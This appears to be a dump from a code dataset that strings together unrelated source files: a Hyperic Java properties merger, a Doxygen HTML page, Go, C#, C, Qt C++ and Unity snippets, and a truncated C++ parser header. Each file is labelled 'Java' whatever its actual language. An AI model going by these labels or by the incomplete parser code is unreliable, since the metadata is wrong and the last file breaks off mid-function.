<uib-tab heading="{[{subreddit.title}]}" select="refreshPosts(subreddit.id)" ng-repeat="subreddit in subreddits">{[{ subreddit.description }]}</uib-tab>
</uib-tabset>
<div class="navbar-form">
<input type="text" ng-model="input_sub.title">
<input type="text" ng-model="input_sub.description">
<button ng-click="createSubreddit(input_sub.title, input_sub.description)" type="submit" class="btn">Create Subreddit</button>
</div>
</aside>
</div>
{% endblock content %}
| Java |
/* **********************************************************************
/*
* NOTE: This copyright does *not* cover user programs that use Hyperic
* program services by normal system calls through the application
* program interfaces provided as part of the Hyperic Plug-in Development
* Kit or the Hyperic Client Development Kit - this is merely considered
* normal use of the program, and does *not* fall under the heading of
* "derived work".
*
* Copyright (C) [2004-2012], VMware, Inc.
* This file is part of Hyperic.
*
* Hyperic is free software; you can redistribute it and/or modify
* it under the terms version 2 of the GNU General Public License as
* published by the Free Software Foundation. This program is distributed
* in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A
* PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
* USA.
*/
package org.hyperic.tools.ant;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class PropertiesFileMergerTask extends Properties{
private static Method saveConvertMethod ;
private String fileContent ;
private Map<String,String[]> delta ;
private boolean isLoaded ;
static {
try{
saveConvertMethod = Properties.class.getDeclaredMethod("saveConvert", String.class, boolean.class, boolean.class) ;
saveConvertMethod.setAccessible(true) ;
}catch(Throwable t) {
throw (t instanceof RuntimeException ? (RuntimeException) t: new RuntimeException(t)) ;
}//EO catch block
}//EO static block
public PropertiesFileMergerTask() {
this.delta = new HashMap<String, String[]>() ;
}//EOM
@Override
public synchronized Object put(Object key, Object value) {
Object oPrevious = null ;
try{
oPrevious = super.put(key, value);
if(this.isLoaded && !value.equals(oPrevious)) this.delta.put(key.toString(), new String[] { value.toString(), (String) oPrevious}) ;
return oPrevious ;
}catch(Throwable t) {
t.printStackTrace() ;
throw new RuntimeException(t) ;
}//EO catch block
}//EOM
@Override
public final synchronized Object remove(Object key) {
final Object oExisting = super.remove(key);
this.delta.remove(key) ;
return oExisting ;
}//EOM
public static final PropertiesFileMergerTask load(final File file) throws IOException {
InputStream fis = null, fis1 = null ;
try{
if(!file.exists()) throw new IOException(file + " does not exist or is not readable") ;
//else
final PropertiesFileMergerTask properties = new PropertiesFileMergerTask() ;
fis = new FileInputStream(file) ;
//first read the content into a string
final byte[] arrFileContent = new byte[(int)fis.available()] ;
fis.read(arrFileContent) ;
properties.fileContent = new String(arrFileContent) ;
fis1 = new ByteArrayInputStream(arrFileContent) ;
properties.load(fis1);
// System.out.println(properties.fileContent);
return properties ;
}catch(Throwable t) {
throw (t instanceof IOException ? (IOException)t : new IOException(t)) ;
}finally{
if(fis != null) fis.close() ;
if(fis1 != null) fis1.close() ;
}//EO catch block
}//EOM
@Override
public synchronized void load(InputStream inStream) throws IOException {
try{
super.load(inStream);
}finally{
this.isLoaded = true ;
}//EO catch block
}//EOm
public final void store(final File outputFile, final String comments) throws IOException {
if(this.delta.isEmpty()) return ;
FileOutputStream fos = null ;
String key = null, value = null ;
Pattern pattern = null ;
Matcher matcher = null ;
String[] arrValues = null;
try{
for(Map.Entry<String,String[]> entry : this.delta.entrySet()) {
key = (String) saveConvertMethod.invoke(this, entry.getKey(), true/*escapeSpace*/, true /*escUnicode*/);
arrValues = entry.getValue() ;
value = (String) saveConvertMethod.invoke(this, arrValues[0], false/*escapeSpace*/, true /*escUnicode*/);
//if the arrValues[1] == null then this is a new property
if(arrValues[1] == null) {
this.fileContent = this.fileContent + "\n" + key + "=" + value ;
}else {
//pattern = Pattern.compile(key+"\\s*=(\\s*.*\\s*)"+ arrValues[1].replaceAll("\\s+", "(\\\\s*.*\\\\s*)") , Pattern.MULTILINE) ;
pattern = Pattern.compile(key+"\\s*=.*\n", Pattern.MULTILINE) ;
matcher = pattern.matcher(this.fileContent) ;
this.fileContent = matcher.replaceAll(key + "=" + value) ;
}//EO else if existing property
System.out.println("Adding/Replacing " + key + "-->" + arrValues[1] + " with: " + value) ;
}//EO while there are more entries ;
fos = new FileOutputStream(outputFile) ;
fos.write(this.fileContent.getBytes()) ;
}catch(Throwable t) {
throw (t instanceof IOException ? (IOException)t : new IOException(t)) ;
}finally{
if(fos != null) {
fos.flush() ;
fos.close() ;
}//EO if bw was initialized
}//EO catch block
}//EOM
public static void main(String[] args) throws Throwable {
///FOR DEBUG
String s = " 1 2 4 sdf \\\\\nsdfsd" ;
final Pattern pattern = Pattern.compile("test.prop2\\s*=.*(?:\\\\?\\s*)(\n)" , Pattern.MULTILINE) ;
final Matcher matcher = pattern.matcher("test.prop2="+s) ;
System.out.println(matcher.replaceAll("test.prop2=" + "newvalue$1")) ;
///FOR DEBUG
if(true) return ;
final String path = "/tmp/confs/hq-server-46.conf" ;
final File file = new File(path) ;
final PropertiesFileMergerTask properties = PropertiesFileMergerTask.load(file) ;
/* final Pattern pattern = Pattern.compile("test.prop1\\s*=this(\\s*.*\\s*)is(\\s*.*\\s*)the(\\s*.*\\s*)value" ,
Pattern.MULTILINE) ;
final Matcher matcher = pattern.matcher(properties.fileContent) ;
System.out.println( matcher.replaceAll("test.prop1=new value") ) ;
System.out.println("\n\n--> " + properties.get("test.prop1")) ;*/
final String overridingConfPath = "/tmp/confs/hq-server-5.conf" ;
//final Properties overrdingProperties = new Properties() ;
final FileInputStream fis = new FileInputStream(overridingConfPath) ;
properties.load(fis) ;
fis.close() ;
///properties.putAll(overrdingProperties) ;
final String outputPath = "/tmp/confs/output-hq-server.conf" ;
final File outputFile = new File(outputPath) ;
final String comments = "" ;
properties.store(outputFile, comments) ;
}//EOM
}//EOC
| Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.3.1"/>
<title>wf: login_dlg Class Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="navtree.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="resize.js"></script>
<script type="text/javascript" src="navtree.js"></script>
<script type="text/javascript">
$(document).ready(initResizable);
$(window).load(resizeHeight);
</script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
$(document).ready(function() { searchBox.OnSelectItem(0); });
</script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td style="padding-left: 0.5em;">
<div id="projectname">wf
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.3.1 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li class="current"><a href="annotated.html"><span>Classes</span></a></li>
<li><a href="files.html"><span>Files</span></a></li>
<li>
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Search" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="annotated.html"><span>Class List</span></a></li>
<li><a href="classes.html"><span>Class Index</span></a></li>
<li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li>
<li><a href="functions.html"><span>Class Members</span></a></li>
</ul>
</div>
</div><!-- top -->
<div id="side-nav" class="ui-resizable side-nav-resizable">
<div id="nav-tree">
<div id="nav-tree-contents">
<div id="nav-sync" class="sync"></div>
</div>
</div>
<div id="splitbar" style="-moz-user-select:none;"
class="ui-resizable-handle">
</div>
</div>
<script type="text/javascript">
$(document).ready(function(){initNavTree('classlogin__dlg.html','');});
</script>
<div id="doc-content">
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
<a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Variables</a></div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div class="header">
<div class="summary">
<a href="#pub-methods">Public Member Functions</a> |
<a href="#pub-attribs">Public Attributes</a> |
<a href="#pro-static-attribs">Static Protected Attributes</a> |
<a href="classlogin__dlg-members.html">List of all members</a> </div>
<div class="headertitle">
<div class="title">login_dlg Class Reference</div> </div>
</div><!--header-->
<div class="contents">
<p>Inherits wxDialog.</p>
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a>
Public Member Functions</h2></td></tr>
<tr class="memitem:add5ed4d04d17a6682e52dc7c945537a6"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="add5ed4d04d17a6682e52dc7c945537a6"></a>
 </td><td class="memItemRight" valign="bottom"><b>login_dlg</b> (wxWindow *parent=0, wxWindowID id=wxID_ANY, const wxPoint &pos=wxDefaultPosition, const wxSize &size=wxDefaultSize)</td></tr>
<tr class="separator:add5ed4d04d17a6682e52dc7c945537a6"><td class="memSeparator" colspan="2"> </td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-attribs"></a>
Public Attributes</h2></td></tr>
<tr class="memitem:a493dfba34a083a868b73b1ab792652c6"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a493dfba34a083a868b73b1ab792652c6"></a>
wxStaticText * </td><td class="memItemRight" valign="bottom"><b>st_message</b></td></tr>
<tr class="separator:a493dfba34a083a868b73b1ab792652c6"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:af488e56655cbe86da7c8ff99da85e416"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="af488e56655cbe86da7c8ff99da85e416"></a>
wxCheckBox * </td><td class="memItemRight" valign="bottom"><b>cb_save</b></td></tr>
<tr class="separator:af488e56655cbe86da7c8ff99da85e416"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a75ac77e66704c675eeeebb02367c0906"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a75ac77e66704c675eeeebb02367c0906"></a>
wxStaticText * </td><td class="memItemRight" valign="bottom"><b>StaticText2</b></td></tr>
<tr class="separator:a75ac77e66704c675eeeebb02367c0906"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:aefe2d280e7d21736f6ce91d804dc8705"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="aefe2d280e7d21736f6ce91d804dc8705"></a>
wxButton * </td><td class="memItemRight" valign="bottom"><b>Button1</b></td></tr>
<tr class="separator:aefe2d280e7d21736f6ce91d804dc8705"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ab489b0475d1ce8b138619f861b4b2894"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="ab489b0475d1ce8b138619f861b4b2894"></a>
wxTextCtrl * </td><td class="memItemRight" valign="bottom"><b>tc_user</b></td></tr>
<tr class="separator:ab489b0475d1ce8b138619f861b4b2894"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:aa8a177968c530e105fcd846b3d69d62f"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="aa8a177968c530e105fcd846b3d69d62f"></a>
wxStaticText * </td><td class="memItemRight" valign="bottom"><b>StaticText1</b></td></tr>
<tr class="separator:aa8a177968c530e105fcd846b3d69d62f"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a9c5cb50ae85eb958d8a9e9390b1b6308"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a9c5cb50ae85eb958d8a9e9390b1b6308"></a>
wxButton * </td><td class="memItemRight" valign="bottom"><b>Button2</b></td></tr>
<tr class="separator:a9c5cb50ae85eb958d8a9e9390b1b6308"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a5df1d07c40d7a23f82fda07a6cd97325"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a5df1d07c40d7a23f82fda07a6cd97325"></a>
wxTextCtrl * </td><td class="memItemRight" valign="bottom"><b>tc_pwd</b></td></tr>
<tr class="separator:a5df1d07c40d7a23f82fda07a6cd97325"><td class="memSeparator" colspan="2"> </td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pro-static-attribs"></a>
Static Protected Attributes</h2></td></tr>
<tr class="memitem:a4d73ea73d0699260873bc77116456b4d"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a4d73ea73d0699260873bc77116456b4d"></a>
static const long </td><td class="memItemRight" valign="bottom"><b>ID_STATICTEXT1</b> = wxNewId()</td></tr>
<tr class="separator:a4d73ea73d0699260873bc77116456b4d"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a546f4161b9dab01b809e733122ad97df"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a546f4161b9dab01b809e733122ad97df"></a>
static const long </td><td class="memItemRight" valign="bottom"><b>ID_STATICTEXT2</b> = wxNewId()</td></tr>
<tr class="separator:a546f4161b9dab01b809e733122ad97df"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a429cdbcca129440ba6d6a301a27293da"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a429cdbcca129440ba6d6a301a27293da"></a>
static const long </td><td class="memItemRight" valign="bottom"><b>ID_TEXTCTRL_USER</b> = wxNewId()</td></tr>
<tr class="separator:a429cdbcca129440ba6d6a301a27293da"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:acd6bf048bfbfa405da257b03789ede42"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="acd6bf048bfbfa405da257b03789ede42"></a>
static const long </td><td class="memItemRight" valign="bottom"><b>ID_TEXTCTRL_PWD</b> = wxNewId()</td></tr>
<tr class="separator:acd6bf048bfbfa405da257b03789ede42"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:abfc72bf4a0140e5741916cfd85df96c9"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="abfc72bf4a0140e5741916cfd85df96c9"></a>
static const long </td><td class="memItemRight" valign="bottom"><b>ID_CHECKBOX_SAVE</b> = wxNewId()</td></tr>
<tr class="separator:abfc72bf4a0140e5741916cfd85df96c9"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ad484da6409488c8a4e1151ef9d1174c0"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="ad484da6409488c8a4e1151ef9d1174c0"></a>
static const long </td><td class="memItemRight" valign="bottom"><b>ID_BUTTON1</b> = wxNewId()</td></tr>
<tr class="separator:ad484da6409488c8a4e1151ef9d1174c0"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a8f805bf6bce5f2ecc340bf2103dd68a4"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a8f805bf6bce5f2ecc340bf2103dd68a4"></a>
static const long </td><td class="memItemRight" valign="bottom"><b>ID_BUTTON2</b> = wxNewId()</td></tr>
<tr class="separator:a8f805bf6bce5f2ecc340bf2103dd68a4"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a2e2f7ead14f6e24e32782fdcfcf25b61"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a2e2f7ead14f6e24e32782fdcfcf25b61"></a>
static const long </td><td class="memItemRight" valign="bottom"><b>ID_STATICTEXT3</b> = wxNewId()</td></tr>
<tr class="separator:a2e2f7ead14f6e24e32782fdcfcf25b61"><td class="memSeparator" colspan="2"> </td></tr>
</table>
<hr/>The documentation for this class was generated from the following files:<ul>
<li><a class="el" href="login__dlg_8h_source.html">login_dlg.h</a></li>
<li>login_dlg.cpp</li>
</ul>
</div><!-- contents -->
</div><!-- doc-content -->
<!-- start footer part -->
<div id="nav-path" class="navpath"><!-- id is needed for treeview function! -->
<ul>
<li class="navelem"><a class="el" href="classlogin__dlg.html">login_dlg</a></li>
<li class="footer">Generated on Tue Nov 24 2015 14:16:31 for wf by
<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.8.3.1 </li>
</ul>
</div>
</body>
</html>
| Java |
package com.sochat.client;
import java.math.BigInteger;
import java.security.GeneralSecurityException;
import java.security.KeyFactory;
import java.security.PublicKey;
import java.security.spec.RSAPublicKeySpec;
public class ServerPublicKey {
public static PublicKey getServerPublicKey(String publicKeyModulus, String publicKeyExponent)
throws GeneralSecurityException {
BigInteger modulus = new BigInteger(publicKeyModulus, 16);
BigInteger exponent = new BigInteger(publicKeyExponent, 16);
RSAPublicKeySpec pubKeySpec = new RSAPublicKeySpec(modulus, exponent);
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
return keyFactory.generatePublic(pubKeySpec);
}
}
| Java |
package main
type FluxConfig struct {
Iam string `toml:"iam"`
Url string `toml:"url"`
Port int `toml:"port"`
Logdir string `toml:"logdir"`
Balancer FluxCluster `toml:"cluster"`
//Jwts []JwtAuth `toml:"jwt"`
}
type JwtAuth struct {
RequiredClaims []JwtClaim `toml:"claim"`
DecryptionSecret string `toml:"secret"`
}
type JwtClaim struct {
Key string `toml:"key"`
Value string `toml:"value"`
}
type FluxCluster struct {
Name string `toml:"name"`
BalancerAddress string `toml:"address"`
BalancerPort int `toml:"port"`
Scramble bool `toml:"scramble"`
}
| Java |
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using BeatManagement;
public class InitialBuildingEntryAnimation : Task
{
private TaskManager subtaskManager;
private float baseStaggerTime;
private float structStaggerTime;
private float terrainStaggerTime;
private bool run_tasks = false;
protected override void Init()
{
baseStaggerTime = Services.Clock.EighthLength();
structStaggerTime = Services.Clock.SixteenthLength();
terrainStaggerTime = Services.Clock.ThirtySecondLength();
subtaskManager = new TaskManager();
for (int i = 0; i < 2; i++)
{
Task dropTask = new Wait(baseStaggerTime * i);
dropTask.Then(new BuildingDropAnimation(Services.GameManager.Players[i].mainBase));
subtaskManager.Do(dropTask);
}
for (int i = 0; i < Services.MapManager.structuresOnMap.Count; i++)
{
Task dropTask = new Wait((structStaggerTime * i) + (baseStaggerTime * 2));
dropTask.Then(new BuildingDropAnimation(Services.MapManager.structuresOnMap[i]));
subtaskManager.Do(dropTask);
}
for (int i = 0; i < Services.MapManager.terrainOnMap.Count; i++)
{
Task dropTask = new Wait((terrainStaggerTime * i) + (baseStaggerTime * 2));
dropTask.Then(new BuildingDropAnimation(Services.MapManager.terrainOnMap[i]));
subtaskManager.Do(dropTask);
}
// Task waitTask = new Wait((structStaggerTime * Services.MapManager.structuresOnMap.Count) + (baseStaggerTime * 2));
// waitTask.Then(new ActionTask(() => { SetStatus(TaskStatus.Success); }));
//subtaskManager.Do(waitTask);
Services.Clock.SyncFunction(() => { run_tasks = true; }, Clock.BeatValue.Quarter);
}
internal override void Update()
{
if (run_tasks)
{
subtaskManager.Update();
if (subtaskManager.tasksInProcessCount == 0)
SetStatus(TaskStatus.Success);
}
}
}
| Java |
<h3>Public products 1</h3> | Java |
// https://github.com/KubaO/stackoverflown/tree/master/questions/html-get-24965972
#include <QtNetwork>
#include <functional>
void htmlGet(const QUrl &url, const std::function<void(const QString&)> &fun) {
QScopedPointer<QNetworkAccessManager> manager(new QNetworkAccessManager);
QNetworkReply *response = manager->get(QNetworkRequest(QUrl(url)));
QObject::connect(response, &QNetworkReply::finished, [response, fun]{
response->deleteLater();
response->manager()->deleteLater();
if (response->error() != QNetworkReply::NoError) return;
auto const contentType =
response->header(QNetworkRequest::ContentTypeHeader).toString();
static QRegularExpression re("charset=([!-~]+)");
auto const match = re.match(contentType);
if (!match.hasMatch() || 0 != match.captured(1).compare("utf-8", Qt::CaseInsensitive)) {
qWarning() << "Content charsets other than utf-8 are not implemented yet:" << contentType;
return;
}
auto const html = QString::fromUtf8(response->readAll());
fun(html); // do something with the data
}) && manager.take();
}
int main(int argc, char *argv[])
{
QCoreApplication app(argc, argv);
htmlGet({"http://www.google.com"}, [](const QString &body){ qDebug() << body; qApp->quit(); });
return app.exec();
}
| Java |
using System;
using System.Collections.Generic;
using System.Linq;
namespace NetGore
{
/// <summary>
/// Provides helper functions for parsing command-line switches and the arguments that go with
/// each of those switches.
/// </summary>
public static class CommandLineSwitchHelper
{
/// <summary>
/// The name of the primary key. This is the key used for arguments that come before any switches.
/// This key is only present if it has any arguments.
/// </summary>
public const string PrimaryKeyName = "Main";
/// <summary>
/// The prefix used to denote a switch. Any word after a word with this prefix that does not
/// have this prefix will be considered as an argument to the switch. For example:
/// -switch1 arg1 arg2 -switch2 -switch3 arg1
/// </summary>
public const string SwitchPrefix = "-";
/// <summary>
/// Gets the switches and their arguments from the given string array.
/// </summary>
/// <param name="args">The array of strings.</param>
/// <returns>The switches and their arguments from the given string array.</returns>
public static IEnumerable<KeyValuePair<string, string[]>> GetCommands(string[] args)
{
return GroupValuesToSwitches(args);
}
/// <summary>
/// Gets the switches and their arguments from the given string array. Only switches that can be parsed to
/// type <typeparamref name="T"/> will be returned.
/// </summary>
/// <typeparam name="T">The Type of Enum to use as the key.</typeparam>
/// <param name="args">The array of strings.</param>
/// <returns>The switches and their arguments from the given string array.</returns>
/// <exception cref="MethodAccessException">Generic type <typeparamref name="T"/> must be an Enum.</exception>
public static IEnumerable<KeyValuePair<T, string[]>> GetCommandsUsingEnum<T>(string[] args)
where T : struct, IComparable, IConvertible, IFormattable
{
if (!typeof(T).IsEnum)
{
const string errmsg = "Generic type T (type: {0}) must be an Enum.";
throw new MethodAccessException(string.Format(errmsg, typeof(T)));
}
var items = GetCommands(args);
foreach (var item in items)
{
T parsed;
if (EnumHelper<T>.TryParse(item.Key, true, out parsed))
yield return new KeyValuePair<T, string[]>(parsed, item.Value);
}
}
/// <summary>
/// Groups the values after a switch to a switch.
/// </summary>
/// <param name="args">The array of strings.</param>
/// <returns>The switches grouped with their values.</returns>
static IEnumerable<KeyValuePair<string, string[]>> GroupValuesToSwitches(IList<string> args)
{
if (args == null || args.Count == 0)
return Enumerable.Empty<KeyValuePair<string, string[]>>();
var switchPrefixAsCharArray = SwitchPrefix.ToCharArray();
var ret = new List<KeyValuePair<string, string[]>>(args.Count);
var currentKey = PrimaryKeyName;
var currentArgs = new List<string>(args.Count);
// Iterate through all the strings
for (var i = 0; i < args.Count; i++)
{
var currentArg = args[i];
var currentArgTrimmed = args[i].Trim();
if (currentArgTrimmed.StartsWith(SwitchPrefix, StringComparison.OrdinalIgnoreCase))
{
// Empty out the current switch
if (currentKey != PrimaryKeyName || currentArgs.Count > 0)
ret.Add(new KeyValuePair<string, string[]>(currentKey, currentArgs.ToArray()));
// Remove the switch prefix and set as the new key
currentKey = currentArgTrimmed.TrimStart(switchPrefixAsCharArray);
currentArgs.Clear();
}
else
{
// Add the argument only if its an actual string
if (currentArg.Length > 0)
currentArgs.Add(currentArg);
}
}
// Empty out the remainder
if (currentKey != PrimaryKeyName || currentArgs.Count > 0)
ret.Add(new KeyValuePair<string, string[]>(currentKey, currentArgs.ToArray()));
return ret;
}
}
} | Java |
#include<stdio.h>
void heap_sort(int[], int);
void build_max_heap(int[], int);
void max_heapify(int[],int,int);
void swap(int*, int*);
void display(int[],int);
int main(){
int n = 11;
int a[] = {55,3,2,5,77,44,65,53,88,31,9};
display(a,n);
heap_sort(a,n);
display(a,n);
return 0;
}
void heap_sort(int a[], int n){
int i;
int heap_size = n;
build_max_heap(a,n);
for(i = n-1; i > 0; i--){
swap(&a[0], &a[i]);
heap_size--;
max_heapify(a,0,heap_size);
}
}
void build_max_heap(int a[], int n){
int i;
int loop = (n-1)/2;
for(i = loop; i >= 0; i--){
max_heapify(a,i,n);
}
}
void max_heapify(int a[], int i, int heap_size){
int left = 2*i + 1;
int right = 2*i + 2;
int largest;
if(left < heap_size && a[left] > a[i]){
largest = left;
}
else{
largest = i;
}
if((right < heap_size) && (a[right] > a[largest])){
largest = right;
}
if(largest != i){
swap(&a[largest], &a[i]);
max_heapify(a, largest, heap_size);
}
}
void swap(int *a,int *b){
int temp;
temp = *a;
*a = *b;
*b = temp;
}
void display(int a[],int n){
int i;
printf("\n");
for(i = 0;i<n;i++){
printf("%d\t",a[i]);
}
}
| Java |
#include "alfe/main.h"
#ifndef INCLUDED_PARSER_H
#define INCLUDED_PARSER_H
#include "alfe/code.h"
#include "alfe/space.h"
class Parser : Uncopyable
{
public:
CodeList parseFromFile(File file)
{
CodeList c;
parseFromFile(c, file);
return c;
}
void parseFromString(Code code, String s)
{
CharacterSource source(s);
do {
CharacterSource s2 = source;
if (s2.get() == -1)
return;
parseStatementOrFail(code, &source);
} while (true);
}
private:
void parseFromFile(Code code, File file)
{
parseFromString(code, file.contents());
}
bool parseStatement(Code code, CharacterSource* source)
{
if (parseExpressionStatement(code, source))
return true;
if (parseFunctionDefinitionStatement(code, source))
return true;
if (parseAssignment(code, source))
return true;
if (parseCompoundStatement(code, source))
return true;
if (parseTycoDefinitionStatement(code, source))
return true;
if (parseNothingStatement(source))
return true;
if (parseIncrementDecrementStatement(code, source))
return true;
if (parseConditionalStatement(code, source))
return true;
if (parseSwitchStatement(code, source))
return true;
if (parseReturnStatement(code, source))
return true;
if (parseIncludeStatement(code, source))
return true;
if (parseBreakOrContinueStatement(code, source))
return true;
if (parseForeverStatement(code, source))
return true;
if (parseWhileStatement(code, source))
return true;
if (parseForStatement(code, source))
return true;
if (parseLabelStatement(code, source))
return true;
if (parseGotoStatement(code, source))
return true;
return false;
}
void parseStatementOrFail(Code code, CharacterSource* source)
{
if (!parseStatement(code, source))
source->location().throwError("Expected statement");
}
bool parseExpressionStatement(Code code, CharacterSource* source)
{
CharacterSource s = *source;
Expression expression = Expression::parse(&s);
if (!expression.valid())
return false;
Span span;
if (!Space::parseCharacter(&s, ';', &span))
return false;
_lastSpan = span;
*source = s;
if (!expression.mightHaveSideEffect())
source->location().throwError("Statement has no effect");
code.insert<ExpressionStatement>(expression, expression.span() + span);
return true;
}
bool parseAssignment(Code code, CharacterSource* source)
{
CharacterSource s = *source;
Expression left = Expression::parse(&s);
Location operatorLocation = s.location();
if (!left.valid())
return false;
Span span;
static const Operator ops[] = {
OperatorAssignment(), OperatorAddAssignment(),
OperatorSubtractAssignment(), OperatorMultiplyAssignment(),
OperatorDivideAssignment(), OperatorModuloAssignment(),
OperatorShiftLeftAssignment(), OperatorShiftRightAssignment(),
OperatorBitwiseAndAssignment(), OperatorBitwiseOrAssignment(),
OperatorBitwiseXorAssignment(), OperatorPowerAssignment(),
Operator() };
const Operator* op;
for (op = ops; op->valid(); ++op)
if (Space::parseOperator(&s, op->toString(), &span))
break;
if (!op->valid())
return false;
*source = s;
Expression right = Expression::parseOrFail(source);
Space::assertCharacter(source, ';', &span);
_lastSpan = span;
code.insert<ExpressionStatement>(FunctionCallExpression::binary(*op,
span,
FunctionCallExpression::unary(OperatorAmpersand(), Span(), left),
right), left.span() + span);
return true;
}
List<VariableDefinition> parseParameterList(CharacterSource* source)
{
List<VariableDefinition> list;
VariableDefinition parameter = VariableDefinition::parse(source);
if (!parameter.valid())
return list;
list.add(parameter);
Span span;
while (Space::parseCharacter(source, ',', &span)) {
VariableDefinition parameter = VariableDefinition::parse(source);
if (!parameter.valid())
source->location().throwError("Expected parameter");
list.add(parameter);
}
return list;
}
bool parseFunctionDefinitionStatement(Code code, CharacterSource* source)
{
CharacterSource s = *source;
TycoSpecifier returnTypeSpecifier = TycoSpecifier::parse(&s);
if (!returnTypeSpecifier.valid())
return false;
Identifier name = Identifier::parse(&s);
if (!name.valid())
return false;
Span span;
if (!Space::parseCharacter(&s, '('))
return false;
*source = s;
List<VariableDefinition> parameterList = parseParameterList(source);
Space::assertCharacter(source, ')');
Span span;
if (Space::parseKeyword(source, "from", &span)) {
Expression dll = Expression::parseOrFail(source);
Space::assertCharacter(source, ';', &span);
_lastSpan = span;
code.insert<FunctionDefinitionFromStatement>(returnTypeSpecifier,
name, parameterList, dll, returnTypeSpecifier.span() + span);
return true;
}
CodeList body;
